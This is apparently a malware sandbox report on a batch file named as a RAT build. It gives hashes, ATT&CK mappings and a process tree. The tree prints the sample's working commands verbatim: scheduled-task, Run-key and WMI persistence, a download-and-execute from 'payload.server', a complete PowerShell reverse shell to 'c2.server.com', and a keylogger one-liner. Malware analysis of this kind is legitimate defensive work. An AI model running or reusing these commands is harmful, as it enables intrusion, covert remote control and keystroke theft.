969be88b975b51f45cbbe206941a08f7ce16bb97ad844fa7d1161ee4afabc636

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:24

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General

Target
rat_build_63984_014230.bat
Size 4KB
Sample260529-2bb9tac14m
SHA256 969be88b975b51f45cbbe206941a08f7ce16bb97ad844fa7d1161ee4afabc636
MD5 6215388de502a209e0f18346cff72fca
SHA1 1b2dd38570b1e87aecfb29e273b2d41832f97442
SHA512 8b5527da6acb1f4a27a9d2f9b5c92d1b0887bc9404e7aa025c799ef3958e45ef970ddda196fc3abf04cf24ecc4fd3a2b201b6073e8be6655a855e15f18bcd8c4
SSDEEP 96:7If+WGMMtFMaMUsJGHRbPZm63Fp4F+cgvQyiFgZk8mvlo1khFp:7kGMM7MaLPZmEUkcuiFgkHlHhFp
TLSH
T10BA1E81B679B21608AB01608CD323C9493ACFAF71340C9DDEA4C9DC5164DF47A669EF7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_63984.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
384	powershell.exe
4316	powershell.exe
4028	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_63984 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_63984.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3000	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
764	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2028	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
384	powershell.exe
384	powershell.exe
384	powershell.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
4028	powershell.exe
4028	powershell.exe
4028	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4028	WMIC.exe
Token: SeSecurityPrivilege	4028	WMIC.exe
Token: SeTakeOwnershipPrivilege	4028	WMIC.exe
Token: SeLoadDriverPrivilege	4028	WMIC.exe
Token: SeSystemProfilePrivilege	4028	WMIC.exe
Token: SeSystemtimePrivilege	4028	WMIC.exe
Token: SeProfSingleProcessPrivilege	4028	WMIC.exe
Token: SeIncBasePriorityPrivilege	4028	WMIC.exe
Token: SeCreatePagefilePrivilege	4028	WMIC.exe
Token: SeBackupPrivilege	4028	WMIC.exe
Token: SeRestorePrivilege	4028	WMIC.exe
Token: SeShutdownPrivilege	4028	WMIC.exe
Token: SeDebugPrivilege	4028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4028	WMIC.exe
Token: SeRemoteShutdownPrivilege	4028	WMIC.exe
Token: SeUndockPrivilege	4028	WMIC.exe
Token: SeManageVolumePrivilege	4028	WMIC.exe
Token: 33	4028	WMIC.exe
Token: 34	4028	WMIC.exe
Token: 35	4028	WMIC.exe
Token: 36	4028	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4028	WMIC.exe
Token: SeSecurityPrivilege	4028	WMIC.exe
Token: SeTakeOwnershipPrivilege	4028	WMIC.exe
Token: SeLoadDriverPrivilege	4028	WMIC.exe
Token: SeSystemProfilePrivilege	4028	WMIC.exe
Token: SeSystemtimePrivilege	4028	WMIC.exe
Token: SeProfSingleProcessPrivilege	4028	WMIC.exe
Token: SeIncBasePriorityPrivilege	4028	WMIC.exe
Token: SeCreatePagefilePrivilege	4028	WMIC.exe
Token: SeBackupPrivilege	4028	WMIC.exe
Token: SeRestorePrivilege	4028	WMIC.exe
Token: SeShutdownPrivilege	4028	WMIC.exe
Token: SeDebugPrivilege	4028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4028	WMIC.exe
Token: SeRemoteShutdownPrivilege	4028	WMIC.exe
Token: SeUndockPrivilege	4028	WMIC.exe
Token: SeManageVolumePrivilege	4028	WMIC.exe
Token: 33	4028	WMIC.exe
Token: 34	4028	WMIC.exe
Token: 35	4028	WMIC.exe
Token: 36	4028	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4500	WMIC.exe
Token: SeSecurityPrivilege	4500	WMIC.exe
Token: SeTakeOwnershipPrivilege	4500	WMIC.exe
Token: SeLoadDriverPrivilege	4500	WMIC.exe
Token: SeSystemProfilePrivilege	4500	WMIC.exe
Token: SeSystemtimePrivilege	4500	WMIC.exe
Token: SeProfSingleProcessPrivilege	4500	WMIC.exe
Token: SeIncBasePriorityPrivilege	4500	WMIC.exe
Token: SeCreatePagefilePrivilege	4500	WMIC.exe
Token: SeBackupPrivilege	4500	WMIC.exe
Token: SeRestorePrivilege	4500	WMIC.exe
Token: SeShutdownPrivilege	4500	WMIC.exe
Token: SeDebugPrivilege	4500	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4500	WMIC.exe
Token: SeRemoteShutdownPrivilege	4500	WMIC.exe
Token: SeUndockPrivilege	4500	WMIC.exe
Token: SeManageVolumePrivilege	4500	WMIC.exe
Token: 33	4500	WMIC.exe
Token: 34	4500	WMIC.exe
Token: 35	4500	WMIC.exe
Token: 36	4500	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4500	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 4592	1220	cmd.exe	89
PID 1220 wrote to memory of 2028	1220	cmd.exe	90
PID 1220 wrote to memory of 4028	1220	cmd.exe	91
PID 1220 wrote to memory of 4500	1220	cmd.exe	92
PID 1220 wrote to memory of 5024	1220	cmd.exe	93
PID 1220 wrote to memory of 764	1220	cmd.exe	104
PID 1220 wrote to memory of 3000	1220	cmd.exe	107
PID 1220 wrote to memory of 384	1220	cmd.exe	108
PID 1220 wrote to memory of 4316	1220	cmd.exe	109
PID 1220 wrote to memory of 4028	1220	cmd.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_63984_014230.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_63984" /tr "C:\Users\Admin\AppData\Local\Temp\_63984.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4592
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_63984" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_63984.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2028
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_63984", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4028
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_63984", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_63984.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_63984.txt
  2⤵
  PID:5024
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:764
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_63984.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4028

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 76fe6db2a2b59f12f7191c10d39133c7a8fa47104296e97f32225f43bfe2a08b
MD5 bcaa0577d8f5d51e30e98037f709813f
SHA1 1e3ee8aa65a089fed90cabf4eaf4eef6d2a179a6
SHA512 57e1dded73217bb2f0e1c45a372722af1af72542badfcc4349a5c58c19fbc2892b94e69c34dbfe500bbd4a9431c5c23456620d84943b071e6108a3dc6e9e703f
TLSH
T1AC117627F39CC961CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_s2rb41nt.dy5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s2rb41nt.dy5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/384-10-0x000002066D250000-0x000002066D272000-memory.dmp

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